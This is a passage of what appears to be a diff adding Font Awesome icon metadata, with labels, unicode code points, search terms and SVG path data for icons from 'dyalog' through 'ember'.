16-16v-64c0-8.84-7.16-16-16-16zM240 177.62V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V177.62c-5.23-.89-10.52-1.62-16-1.62s-10.77.73-16 1.62zm-64 41.51V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V189.36c-12.78 7.45-23.84 17.47-32 29.77zm128-29.77V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V219.13c-8.16-12.3-19.22-22.32-32-29.77z" + } + }, + "free": [ + "solid" + ] + }, + "dyalog": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f399", + "label": "Dyalog", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860982, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 416 512\"><path d=\"M0 32v119.2h64V96h107.2C284.6 96 352 176.2 352 255.9 352 332 293.4 416 171.2 416H0v64h171.2C331.9 480 416 367.3 416 255.9c0-58.7-22.1-113.4-62.3-154.3C308.9 56 245.7 32 171.2 32H0z\"/></svg>", + "viewBox": [ + "0", + "0", + "416", + "512" + ], + "width": 416, + "height": 512, + "path": "M0 32v119.2h64V96h107.2C284.6 96 352 176.2 352 255.9 352 332 293.4 416 171.2 416H0v64h171.2C331.9 480 416 367.3 416 255.9c0-58.7-22.1-113.4-62.3-154.3C308.9 56 245.7 32 171.2 32H0z" + } + }, + "free": [ + "brands" + ] + }, + "earlybirds": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f39a", + "label": "Earlybirds", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860982, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M313.2 47.5c1.2-13 21.3-14 36.6-8.7.9.3 26.2 9.7 19 15.2-27.9-7.4-56.4 18.2-55.6-6.5zm-201 6.9c30.7-8.1 62 20 61.1-7.1-1.3-14.2-23.4-15.3-40.2-9.6-1 .3-28.7 10.5-20.9 16.7zM319.4 160c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-159.7 0c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm318.5 163.2c-9.9 24-40.7 11-63.9-1.2-13.5 69.1-58.1 111.4-126.3 124.2.3.9-2-.1 24 1 33.6 1.4 63.8-3.1 97.4-8-19.8-13.8-11.4-37.1-9.8-38.1 1.4-.9 14.7 1.7 21.6 11.5 8.6-12.5 28.4-14.8 30.2-13.6 1.6 1.1 6.6 20.9-6.9 34.6 4.7-.9 8.2-1.6 9.8-2.1 2.6-.8 17.7 11.3 3.1 13.3-14.3 2.3-22.6 5.1-47.1 10.8-45.9 10.7-85.9 11.8-117.7 12.8l1 11.6c3.8 18.1-23.4 24.3-27.6 6.2.8 17.9-27.1 21.8-28.4-1l-.5 5.3c-.7 18.4-28.4 17.9-28.3-.6-7.5 13.5-28.1 6.8-26.4-8.5l1.2-12.4c-36.7.9-59.7 3.1-61.8 3.1-20.9 0-20.9-31.6 0-31.6 2.4 0 27.7 1.3 63.2 2.8-61.1-15.5-103.7-55-114.9-118.2-25 12.8-57.5 26.8-68.2.8-10.5-25.4 21.5-42.6 66.8-73.4.7-6.6 1.6-13.3 2.7-19.8-14.4-19.6-11.6-36.3-16.1-60.4-16.8 2.4-23.2-9.1-23.6-23.1.3-7.3 2.1-14.9 2.4-15.4 1.1-1.8 10.1-2 12.7-2.6 6-31.7 50.6-33.2 90.9-34.5 19.7-21.8 45.2-41.5 80.9-48.3C203.3 29 215.2 8.5 216.2 8c1.7-.8 21.2 4.3 26.3 23.2 5.2-8.8 18.3-11.4 19.6-10.7 1.1.6 6.4 15-4.9 25.9 40.3 3.5 72.2 24.7 96 50.7 36.1 1.5 71.8 5.9 77.1 34 2.7.6 11.6.8 12.7 2.6.3.5 2.1 8.1 2.4 15.4-.5 13.9-6.8 25.4-23.6 23.1-3.2 17.3-2.7 32.9-8.7 47.7 2.4 11.7 4 23.8 4.8 36.4 37 25.4 70.3 42.5 60.3 66.9zM207.4 159.9c.9-44-37.9-42.2-78.6-40.3-21.7 1-38.9 1.9-45.5 13.9-11.4 20.9 5.9 92.9 23.2 101.2 9.8 4.7 73.4 7.9 86.3-7.1 8.2-9.4 15-49.4 14.6-67.7zm52 58.3c-4.3-12.4-6-30.1-15.3-32.7-2-.5-9-.5-11 0-10 2.8-10.8 22.1-17 37.2 15.4 0 19.3 9.7 23.7 9.7 4.3 0 6.3-11.3 19.6-14.2zm135.7-84.7c-6.6-12.1-24.8-12.9-46.5-13.9-40.2-1.9-78.2-3.8-77.3 40.3-.5 18.3 5 58.3 13.2 67.8 13 14.9 76.6 11.8 86.3 7.1 15.8-7.6 36.5-78.9 24.3-101.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "480", + "512" + ], + "width": 480, + "height": 512, + "path": "M313.2 47.5c1.2-13 21.3-14 36.6-8.7.9.3 26.2 9.7 19 15.2-27.9-7.4-56.4 18.2-55.6-6.5zm-201 6.9c30.7-8.1 62 20 61.1-7.1-1.3-14.2-23.4-15.3-40.2-9.6-1 .3-28.7 10.5-20.9 16.7zM319.4 160c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-159.7 0c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm318.5 163.2c-9.9 24-40.7 11-63.9-1.2-13.5 69.1-58.1 111.4-126.3 124.2.3.9-2-.1 24 1 33.6 1.4 63.8-3.1 97.4-8-19.8-13.8-11.4-37.1-9.8-38.1 1.4-.9 14.7 1.7 21.6 11.5 8.6-12.5 28.4-14.8 30.2-13.6 1.6 1.1 6.6 20.9-6.9 34.6 4.7-.9 8.2-1.6 9.8-2.1 2.6-.8 17.7 11.3 3.1 13.3-14.3 2.3-22.6 5.1-47.1 10.8-45.9 10.7-85.9 11.8-117.7 12.8l1 11.6c3.8 18.1-23.4 24.3-27.6 6.2.8 17.9-27.1 21.8-28.4-1l-.5 5.3c-.7 18.4-28.4 17.9-28.3-.6-7.5 13.5-28.1 6.8-26.4-8.5l1.2-12.4c-36.7.9-59.7 3.1-61.8 3.1-20.9 0-20.9-31.6 0-31.6 2.4 0 27.7 1.3 63.2 2.8-61.1-15.5-103.7-55-114.9-118.2-25 12.8-57.5 26.8-68.2.8-10.5-25.4 21.5-42.6 66.8-73.4.7-6.6 1.6-13.3 2.7-19.8-14.4-19.6-11.6-36.3-16.1-60.4-16.8 2.4-23.2-9.1-23.6-23.1.3-7.3 2.1-14.9 2.4-15.4 1.1-1.8 10.1-2 12.7-2.6 6-31.7 50.6-33.2 90.9-34.5 19.7-21.8 45.2-41.5 80.9-48.3C203.3 29 215.2 8.5 216.2 8c1.7-.8 21.2 4.3 26.3 23.2 5.2-8.8 18.3-11.4 19.6-10.7 1.1.6 6.4 15-4.9 25.9 40.3 3.5 72.2 24.7 96 50.7 36.1 1.5 71.8 5.9 77.1 34 2.7.6 11.6.8 12.7 2.6.3.5 2.1 8.1 2.4 15.4-.5 13.9-6.8 25.4-23.6 23.1-3.2 17.3-2.7 32.9-8.7 47.7 2.4 11.7 4 23.8 4.8 36.4 37 25.4 70.3 42.5 60.3 66.9zM207.4 159.9c.9-44-37.9-42.2-78.6-40.3-21.7 1-38.9 1.9-45.5 13.9-11.4 20.9 5.9 92.9 23.2 101.2 9.8 4.7 73.4 7.9 86.3-7.1 8.2-9.4 15-49.4 14.6-67.7zm52 58.3c-4.3-12.4-6-30.1-15.3-32.7-2-.5-9-.5-11 0-10 2.8-10.8 22.1-17 37.2 15.4 0 19.3 9.7 23.7 9.7 4.3 0 6.3-11.3 19.6-14.2zm135.7-84.7c-6.6-12.1-24.8-12.9-46.5-13.9-40.2-1.9-78.2-3.8-77.3 40.3-.5 18.3 5 58.3 13.2 67.8 13 14.9 76.6 11.8 86.3 7.1 15.8-7.6 36.5-78.9 24.3-101.3z" + } + }, + "free": [ + "brands" + ] + }, + "ebay": { + "changes": [ + "5.0.11", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4f4", + "label": "eBay", + "voted": true, + "svg": { + "brands": { + "last_modified": 1548364699927, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M606 189.5l-54.8 109.9-54.9-109.9h-37.5l10.9 20.6c-11.5-19-35.9-26-63.3-26-31.8 0-67.9 8.7-71.5 43.1h33.7c1.4-13.8 15.7-21.8 35-21.8 26 0 41 9.6 41 33v3.4c-12.7 0-28 .1-41.7.4-42.4.9-69.6 10-76.7 34.4 1-5.2 1.5-10.6 1.5-16.2 0-52.1-39.7-76.2-75.4-76.2-21.3 0-43 5.5-58.7 24.2v-80.6h-32.1v169.5c0 10.3-.6 22.9-1.1 33.1h31.5c.7-6.3 1.1-12.9 1.1-19.5 13.6 16.6 35.4 24.9 58.7 24.9 36.9 0 64.9-21.9 73.3-54.2-.5 2.8-.7 5.8-.7 9 0 24.1 21.1 45 60.6 45 26.6 0 45.8-5.7 61.9-25.5 0 6.6.3 13.3 1.1 20.2h29.8c-.7-8.2-1-17.5-1-26.8v-65.6c0-9.3-1.7-17.2-4.8-23.8l61.5 116.1-28.5 54.1h35.9L640 189.5zM243.7 313.8c-29.6 0-50.2-21.5-50.2-53.8 0-32.4 20.6-53.8 50.2-53.8 29.8 0 50.2 21.4 50.2 53.8 0 32.3-20.4 53.8-50.2 53.8zm200.9-47.3c0 30-17.9 48.4-51.6 48.4-25.1 0-35-13.4-35-25.8 0-19.1 18.1-24.4 47.2-25.3 13.1-.5 27.6-.6 39.4-.6zm-411.9 1.6h128.8v-8.5c0-51.7-33.1-75.4-78.4-75.4-56.8 0-83 30.8-83 77.6 0 42.5 25.3 74 82.5 74 31.4 0 68-11.7 74.4-46.1h-33.1c-12 35.8-87.7 36.7-91.2-21.6zm95-21.4H33.3c6.9-56.6 92.1-54.7 94.4 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M606 189.5l-54.8 109.9-54.9-109.9h-37.5l10.9 20.6c-11.5-19-35.9-26-63.3-26-31.8 0-67.9 8.7-71.5 43.1h33.7c1.4-13.8 15.7-21.8 35-21.8 26 0 41 9.6 41 33v3.4c-12.7 0-28 .1-41.7.4-42.4.9-69.6 10-76.7 34.4 1-5.2 1.5-10.6 1.5-16.2 0-52.1-39.7-76.2-75.4-76.2-21.3 0-43 5.5-58.7 24.2v-80.6h-32.1v169.5c0 10.3-.6 22.9-1.1 33.1h31.5c.7-6.3 1.1-12.9 1.1-19.5 13.6 16.6 35.4 24.9 58.7 24.9 36.9 0 64.9-21.9 73.3-54.2-.5 2.8-.7 5.8-.7 9 0 24.1 21.1 45 60.6 45 26.6 0 45.8-5.7 61.9-25.5 0 6.6.3 13.3 1.1 20.2h29.8c-.7-8.2-1-17.5-1-26.8v-65.6c0-9.3-1.7-17.2-4.8-23.8l61.5 116.1-28.5 54.1h35.9L640 189.5zM243.7 313.8c-29.6 0-50.2-21.5-50.2-53.8 0-32.4 20.6-53.8 50.2-53.8 29.8 0 50.2 21.4 50.2 53.8 0 32.3-20.4 53.8-50.2 53.8zm200.9-47.3c0 30-17.9 48.4-51.6 48.4-25.1 0-35-13.4-35-25.8 0-19.1 18.1-24.4 47.2-25.3 13.1-.5 27.6-.6 39.4-.6zm-411.9 1.6h128.8v-8.5c0-51.7-33.1-75.4-78.4-75.4-56.8 0-83 30.8-83 77.6 0 42.5 25.3 74 82.5 74 31.4 0 68-11.7 74.4-46.1h-33.1c-12 35.8-87.7 36.7-91.2-21.6zm95-21.4H33.3c6.9-56.6 92.1-54.7 94.4 0z" + } + }, + "free": [ + "brands" + ] + }, + "edge": { + "changes": [ + "4.5", + "5.0.0", + "5.12.1" + ], + "ligatures": [], + "search": { + "terms": [ + "browser", + "ie" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f282", + "label": "Edge Browser", + "voted": false, + "svg": { + "brands": { + "last_modified": 1581349336589, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M481.92,134.48C440.87,54.18,352.26,8,255.91,8,137.05,8,37.51,91.68,13.47,203.66c26-46.49,86.22-79.14,149.46-79.14,79.27,0,121.09,48.93,122.25,50.18,22,23.8,33,50.39,33,83.1,0,10.4-5.31,25.82-15.11,38.57-1.57,2-6.39,4.84-6.39,11,0,5.06,3.29,9.92,9.14,14,27.86,19.37,80.37,16.81,80.51,16.81A115.39,115.39,0,0,0,444.94,322a118.92,118.92,0,0,0,58.95-102.44C504.39,176.13,488.39,147.26,481.92,134.48ZM212.77,475.67a154.88,154.88,0,0,1-46.64-45c-32.94-47.42-34.24-95.6-20.1-136A155.5,155.5,0,0,1,203,215.75c59-45.2,94.84-5.65,99.06-1a80,80,0,0,0-4.89-10.14c-9.24-15.93-24-36.41-56.56-53.51-33.72-17.69-70.59-18.59-77.64-18.59-38.71,0-77.9,13-107.53,35.69C35.68,183.3,12.77,208.72,8.6,243c-1.08,12.31-2.75,62.8,23,118.27a248,248,0,0,0,248.3,141.61C241.78,496.26,214.05,476.24,212.77,475.67Zm250.72-98.33a7.76,7.76,0,0,0-7.92-.23,181.66,181.66,0,0,1-20.41,9.12,197.54,197.54,0,0,1-69.55,12.52c-91.67,0-171.52-63.06-171.52-144A61.12,61.12,0,0,1,200.61,228,168.72,168.72,0,0,0,161.85,278c-14.92,29.37-33,88.13,13.33,151.66,6.51,8.91,23,30,56,47.67,23.57,12.65,49,19.61,71.7,19.61,35.14,0,115.43-33.44,163-108.87A7.75,7.75,0,0,0,463.49,377.34Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M481.92,134.48C440.87,54.18,352.26,8,255.91,8,137.05,8,37.51,91.68,13.47,203.66c26-46.49,86.22-79.14,149.46-79.14,79.27,0,121.09,48.93,122.25,50.18,22,23.8,33,50.39,33,83.1,0,10.4-5.31,25.82-15.11,38.57-1.57,2-6.39,4.84-6.39,11,0,5.06,3.29,9.92,9.14,14,27.86,19.37,80.37,16.81,80.51,16.81A115.39,115.39,0,0,0,444.94,322a118.92,118.92,0,0,0,58.95-102.44C504.39,176.13,488.39,147.26,481.92,134.48ZM212.77,475.67a154.88,154.88,0,0,1-46.64-45c-32.94-47.42-34.24-95.6-20.1-136A155.5,155.5,0,0,1,203,215.75c59-45.2,94.84-5.65,99.06-1a80,80,0,0,0-4.89-10.14c-9.24-15.93-24-36.41-56.56-53.51-33.72-17.69-70.59-18.59-77.64-18.59-38.71,0-77.9,13-107.53,35.69C35.68,183.3,12.77,208.72,8.6,243c-1.08,12.31-2.75,62.8,23,118.27a248,248,0,0,0,248.3,141.61C241.78,496.26,214.05,476.24,212.77,475.67Zm250.72-98.33a7.76,7.76,0,0,0-7.92-.23,181.66,181.66,0,0,1-20.41,9.12,197.54,197.54,0,0,1-69.55,12.52c-91.67,0-171.52-63.06-171.52-144A61.12,61.12,0,0,1,200.61,228,168.72,168.72,0,0,0,161.85,278c-14.92,29.37-33,88.13,13.33,151.66,6.51,8.91,23,30,56,47.67,23.57,12.65,49,19.61,71.7,19.61,35.14,0,115.43-33.44,163-108.87A7.75,7.75,0,0,0,463.49,377.34Z" + } + }, + "free": [ + "brands" + ] + }, + "edge-legacy": { + "changes": [ + "5.13.1", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e078", + "label": "Edge Legacy Browser", + "voted": false, + "svg": { + "brands": { + "last_modified": 1599860539197, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M25.71,228.16l.35-.48c0,.16,0,.32-.07.48Zm460.58,15.51c0-44-7.76-84.46-28.81-122.4C416.5,47.88,343.91,8,258.89,8,119,7.72,40.62,113.21,26.06,227.68c42.42-61.31,117.07-121.38,220.37-125,0,0,109.67,0,99.42,105H170c6.37-37.39,18.55-59,34.34-78.93-75.05,34.9-121.85,96.1-120.75,188.32.83,71.45,50.13,144.84,120.75,172,83.35,31.84,192.77,7.2,240.13-21.33V363.31C363.6,419.8,173.6,424.23,172.21,295.74H486.29V243.67Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M25.71,228.16l.35-.48c0,.16,0,.32-.07.48Zm460.58,15.51c0-44-7.76-84.46-28.81-122.4C416.5,47.88,343.91,8,258.89,8,119,7.72,40.62,113.21,26.06,227.68c42.42-61.31,117.07-121.38,220.37-125,0,0,109.67,0,99.42,105H170c6.37-37.39,18.55-59,34.34-78.93-75.05,34.9-121.85,96.1-120.75,188.32.83,71.45,50.13,144.84,120.75,172,83.35,31.84,192.77,7.2,240.13-21.33V363.31C363.6,419.8,173.6,424.23,172.21,295.74H486.29V243.67Z" + } + }, + "free": [ + "brands" + ] + }, + "edit": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "edit", + "pen", + "pencil", + "update", + "write" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f044", + "label": "Edit", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635458, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M402.6 83.2l90.2 90.2c3.8 3.8 3.8 10 0 13.8L274.4 405.6l-92.8 10.3c-12.4 1.4-22.9-9.1-21.5-21.5l10.3-92.8L388.8 83.2c3.8-3.8 10-3.8 13.8 0zm162-22.9l-48.8-48.8c-15.2-15.2-39.9-15.2-55.2 0l-35.4 35.4c-3.8 3.8-3.8 10 0 13.8l90.2 90.2c3.8 3.8 10 3.8 13.8 0l35.4-35.4c15.2-15.3 15.2-40 0-55.2zM384 346.2V448H64V128h229.8c3.2 0 6.2-1.3 8.5-3.5l40-40c7.6-7.6 2.2-20.5-8.5-20.5H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V306.2c0-10.7-12.9-16-20.5-8.5l-40 40c-2.2 2.3-3.5 5.3-3.5 8.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M402.6 83.2l90.2 90.2c3.8 3.8 3.8 10 0 13.8L274.4 405.6l-92.8 10.3c-12.4 1.4-22.9-9.1-21.5-21.5l10.3-92.8L388.8 83.2c3.8-3.8 10-3.8 13.8 0zm162-22.9l-48.8-48.8c-15.2-15.2-39.9-15.2-55.2 0l-35.4 35.4c-3.8 3.8-3.8 10 0 13.8l90.2 90.2c3.8 3.8 10 3.8 13.8 0l35.4-35.4c15.2-15.3 15.2-40 0-55.2zM384 346.2V448H64V128h229.8c3.2 0 6.2-1.3 8.5-3.5l40-40c7.6-7.6 2.2-20.5-8.5-20.5H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V306.2c0-10.7-12.9-16-20.5-8.5l-40 40c-2.2 2.3-3.5 5.3-3.5 8.5z" + }, + "regular": { + "last_modified": 1628088634788, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M402.3 344.9l32-32c5-5 13.7-1.5 13.7 5.7V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h273.5c7.1 0 10.7 8.6 5.7 13.7l-32 32c-1.5 1.5-3.5 2.3-5.7 2.3H48v352h352V350.5c0-2.1.8-4.1 2.3-5.6zm156.6-201.8L296.3 405.7l-90.4 10c-26.2 2.9-48.5-19.2-45.6-45.6l10-90.4L432.9 17.1c22.9-22.9 59.9-22.9 82.7 0l43.2 43.2c22.9 22.9 22.9 60 .1 82.8zM460.1 174L402 115.9 216.2 301.8l-7.3 65.3 65.3-7.3L460.1 174zm64.8-79.7l-43.2-43.2c-4.1-4.1-10.8-4.1-14.8 0L436 82l58.1 58.1 30.9-30.9c4-4.2 4-10.8-.1-14.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M402.3 344.9l32-32c5-5 13.7-1.5 13.7 5.7V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h273.5c7.1 0 10.7 8.6 5.7 13.7l-32 32c-1.5 1.5-3.5 2.3-5.7 2.3H48v352h352V350.5c0-2.1.8-4.1 2.3-5.6zm156.6-201.8L296.3 405.7l-90.4 10c-26.2 2.9-48.5-19.2-45.6-45.6l10-90.4L432.9 17.1c22.9-22.9 59.9-22.9 82.7 0l43.2 43.2c22.9 22.9 22.9 60 .1 82.8zM460.1 174L402 115.9 216.2 301.8l-7.3 65.3 65.3-7.3L460.1 174zm64.8-79.7l-43.2-43.2c-4.1-4.1-10.8-4.1-14.8 0L436 82l58.1 58.1 30.9-30.9c4-4.2 4-10.8-.1-14.9z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "egg": { + "changes": [ + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "breakfast", + "chicken", + "easter", + "shell", + "yolk" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7fb", + "label": "Egg", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635458, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 0C86 0 0 214 0 320s86 192 192 192 192-86 192-192S298 0 192 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M192 0C86 0 0 214 0 320s86 192 192 192 192-86 192-192S298 0 192 0z" + } + }, + "free": [ + "solid" + ] + }, + "eject": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "abort", + "cancel", + "cd", + "discharge" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f052", + "label": "eject", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635459, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 384v64c0 17.673-14.327 32-32 32H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h384c17.673 0 32 14.327 32 32zM48.053 320h351.886c41.651 0 63.581-49.674 35.383-80.435L259.383 47.558c-19.014-20.743-51.751-20.744-70.767 0L12.67 239.565C-15.475 270.268 6.324 320 48.053 320z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 384v64c0 17.673-14.327 32-32 32H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h384c17.673 0 32 14.327 32 32zM48.053 320h351.886c41.651 0 63.581-49.674 35.383-80.435L259.383 47.558c-19.014-20.743-51.751-20.744-70.767 0L12.67 239.565C-15.475 270.268 6.324 320 48.053 320z" + } + }, + "free": [ + "solid" + ] + }, + "elementor": { + "changes": [ + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f430", + "label": "Elementor", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440860983, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M425.6 32H22.4C10 32 0 42 0 54.4v403.2C0 470 10 480 22.4 480h403.2c12.4 0 22.4-10 22.4-22.4V54.4C448 42 438 32 425.6 32M164.3 355.5h-39.8v-199h39.8v199zm159.3 0H204.1v-39.8h119.5v39.8zm0-79.6H204.1v-39.8h119.5v39.8zm0-79.7H204.1v-39.8h119.5v39.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M425.6 32H22.4C10 32 0 42 0 54.4v403.2C0 470 10 480 22.4 480h403.2c12.4 0 22.4-10 22.4-22.4V54.4C448 42 438 32 425.6 32M164.3 355.5h-39.8v-199h39.8v199zm159.3 0H204.1v-39.8h119.5v39.8zm0-79.6H204.1v-39.8h119.5v39.8zm0-79.7H204.1v-39.8h119.5v39.8z" + } + }, + "free": [ + "brands" + ] + }, + "ellipsis-h": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "dots", + "drag", + "kebab", + "list", + "menu", + "nav", + "navigation", + "ol", + "reorder", + "settings", + "ul" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f141", + "label": "Horizontal Ellipsis", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635459, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M328 256c0 39.8-32.2 72-72 72s-72-32.2-72-72 32.2-72 72-72 72 32.2 72 72zm104-72c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72zm-352 0c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M328 256c0 39.8-32.2 72-72 72s-72-32.2-72-72 32.2-72 72-72 72 32.2 72 72zm104-72c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72zm-352 0c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72z" + } + }, + "free": [ + "solid" + ] + }, + "ellipsis-v": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "dots", + "drag", + "kebab", + "list", + "menu", + "nav", + "navigation", + "ol", + "reorder", + "settings", + "ul" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f142", + "label": "Vertical Ellipsis", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635459, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 192 512\"><path d=\"M96 184c39.8 0 72 32.2 72 72s-32.2 72-72 72-72-32.2-72-72 32.2-72 72-72zM24 80c0 39.8 32.2 72 72 72s72-32.2 72-72S135.8 8 96 8 24 40.2 24 80zm0 352c0 39.8 32.2 72 72 72s72-32.2 72-72-32.2-72-72-72-72 32.2-72 72z\"/></svg>", + "viewBox": [ + "0", + "0", + "192", + "512" + ], + "width": 192, + "height": 512, + "path": "M96 184c39.8 0 72 32.2 72 72s-32.2 72-72 72-72-32.2-72-72 32.2-72 72-72zM24 80c0 39.8 32.2 72 72 72s72-32.2 72-72S135.8 8 96 8 24 40.2 24 80zm0 352c0 39.8 32.2 72 72 72s72-32.2 72-72-32.2-72-72-72-72 32.2-72 72z" + } + }, + "free": [ + "solid" + ] + }, + "ello": { + "changes": [ + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f5f1", + "label": "Ello", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440860983, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm143.84 285.2C375.31 358.51 315.79 404.8 248 404.8s-127.31-46.29-143.84-111.6c-1.65-7.44 2.48-15.71 9.92-17.36 7.44-1.65 15.71 2.48 17.36 9.92 14.05 52.91 62 90.11 116.56 90.11s102.51-37.2 116.56-90.11c1.65-7.44 9.92-12.4 17.36-9.92 7.44 1.65 12.4 9.92 9.92 17.36z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm143.84 285.2C375.31 358.51 315.79 404.8 248 404.8s-127.31-46.29-143.84-111.6c-1.65-7.44 2.48-15.71 9.92-17.36 7.44-1.65 15.71 2.48 17.36 9.92 14.05 52.91 62 90.11 116.56 90.11s102.51-37.2 116.56-90.11c1.65-7.44 9.92-12.4 17.36-9.92 7.44 1.65 12.4 9.92 9.92 17.36z" + } + }, + "free": [ + "brands" + ] + }, + "ember": { + "changes": [ + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f423", + "label": "Ember", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722327, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M639.9 254.6c-1.1-10.7-10.7-6.8-10.7-6.8s-15.6 12.1-29.3 10.7c-13.7-1.3-9.4-32-9.4-32s3-28.1-5.1-30.4c-8.1-2.4-18 7.3-18 7.3s-12.4 13.7-18.3 31.2l-1.6.5s1.9-30.6-.3-37.6c-1.6-3.5-16.4-3.2-18.8 3s-14.2 49.2-15 67.2c0 0-23.1 19.6-43.3 22.8s-25-9.4-25-9.4 54.8-15.3 52.9-59.1-44.2-27.6-49-24c-4.6 3.5-29.4 18.4-36.6 59.7-.2 1.4-.7 7.5-.7 7.5s-21.2 14.2-33 18c0 0 33-55.6-7.3-80.9-11.4-6.8-21.3-.5-27.2 5.3 13.6-17.3 46.4-64.2 36.9-105.2-5.8-24.4-18-27.1-29.2-23.1-17 6.7-23.5 16.7-23.5 16.7s-22 32-27.1 79.5-12.6 105.1-12.6 105.1-10.5 10.2-20.2 10.7-5.4-28.7-5.4-28.7 7.5-44.6 